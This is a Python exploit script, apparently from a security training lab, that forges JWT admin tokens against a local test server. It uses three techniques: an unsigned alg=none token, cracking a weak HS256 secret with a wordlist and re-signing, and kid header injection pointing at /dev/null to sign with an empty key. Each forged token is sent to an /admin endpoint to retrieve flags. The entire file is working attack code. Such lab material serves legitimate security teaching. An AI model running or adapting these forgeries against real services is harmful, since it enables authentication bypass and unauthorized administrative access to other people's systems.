#!/usr/bin/env python3
"""
Exploit lab 4.3. Ba cach forge token admin:
  A. alg=none: bo chu ky, tu dat role=admin.
  B. Crack secret HS256 bang wordlist roi ky lai token role=admin.
  C. kid injection: tro kid toi /dev/null de key = rong, tu ky bang key rong.

Khong dung thu vien JWT, tu dung token bang base64 + hmac de thay ro co che.
"""
import base64
import hashlib
import hmac
import json
import sys

import requests

BASE = "http://127.0.0.1:8043"


def b64e(b):
    return base64.urlsafe_b64encode(b).rstrip(b"=").decode()


def b64d(s):
    s += "=" * (-len(s) % 4)
    return base64.urlsafe_b64decode(s)


def decode_payload(token):
    return json.loads(b64d(token.split(".")[1]))


def get_user_token():
    r = requests.post("%s/login" % BASE, data={"username": "wiener",
                                               "password": "peter"})
    return r.json()["token"]


def call_admin(token):
    return requests.get("%s/admin" % BASE,
                        headers={"Authorization": "Bearer %s" % token})


def forge_none(user="admin"):
    header = {"alg": "none", "typ": "JWT"}
    payload = {"user": user, "role": "admin"}
    h = b64e(json.dumps(header, separators=(",", ":")).encode())
    p = b64e(json.dumps(payload, separators=(",", ":")).encode())
    return "%s.%s." % (h, p)  # chu ky rong


def forge_hs256(secret, user="admin"):
    header = {"alg": "HS256", "typ": "JWT"}
    payload = {"user": user, "role": "admin"}
    h = b64e(json.dumps(header, separators=(",", ":")).encode())
    p = b64e(json.dumps(payload, separators=(",", ":")).encode())
    si = ("%s.%s" % (h, p)).encode()
    sig = hmac.new(secret.encode(), si, hashlib.sha256).digest()
    return "%s.%s.%s" % (h, p, b64e(sig))


def forge_kid(kid_path, key, user="admin"):
    header = {"alg": "HS256", "typ": "JWT", "kid": kid_path}
    payload = {"user": user, "role": "admin"}
    h = b64e(json.dumps(header, separators=(",", ":")).encode())
    p = b64e(json.dumps(payload, separators=(",", ":")).encode())
    si = ("%s.%s" % (h, p)).encode()
    sig = hmac.new(key, si, hashlib.sha256).digest()
    return "%s.%s.%s" % (h, p, b64e(sig))


def crack_secret(token):
    """Brute secret HS256 bang wordlist nho, dung chu ky token that lam oracle."""
    h, p, s = token.split(".")
    si = ("%s.%s" % (h, p)).encode()
    target = b64d(s)
    wordlist = ["123456", "password", "admin", "changeme", "key", "jwt",
                "secretkey", "secret", "token", "qwerty", "letmein"]
    for w in wordlist:
        if hmac.compare_digest(hmac.new(w.encode(), si, hashlib.sha256).digest(),
                               target):
            return w
    return None


if __name__ == "__main__":
    user_tok = get_user_token()
    print("[*] Token user that: %s" % user_tok)
    print("    payload: %s" % decode_payload(user_tok))
    print("    /admin voi token user -> %s\n" % call_admin(user_tok).json())

    results = {}

    print("[*] Man A: alg=none")
    t = forge_none()
    r = call_admin(t).json()
    print("    forged: %s" % t)
    print("    /admin -> %s" % r)
    results["none"] = r.get("flag")

    print("\n[*] Man B: crack secret HS256 roi ky lai")
    secret = crack_secret(user_tok)
    print("    secret crack duoc = %r" % secret)
    t = forge_hs256(secret)
    r = call_admin(t).json()
    print("    /admin -> %s" % r)
    results["crack"] = r.get("flag")

    print("\n[*] Man C: kid injection -> /dev/null (key rong)")
    t = forge_kid("/dev/null", b"")
    r = call_admin(t).json()
    print("    forged kid=/dev/null: %s" % t)
    print("    /admin -> %s" % r)
    results["kid"] = r.get("flag")

    print("\n=== KET QUA ===")
    for k, v in results.items():
        print("  %-6s -> %s" % (k, ("FORGE OK flag=%s" % v) if v else "FAIL"))
    sys.exit(0 if all(results.values()) else 1)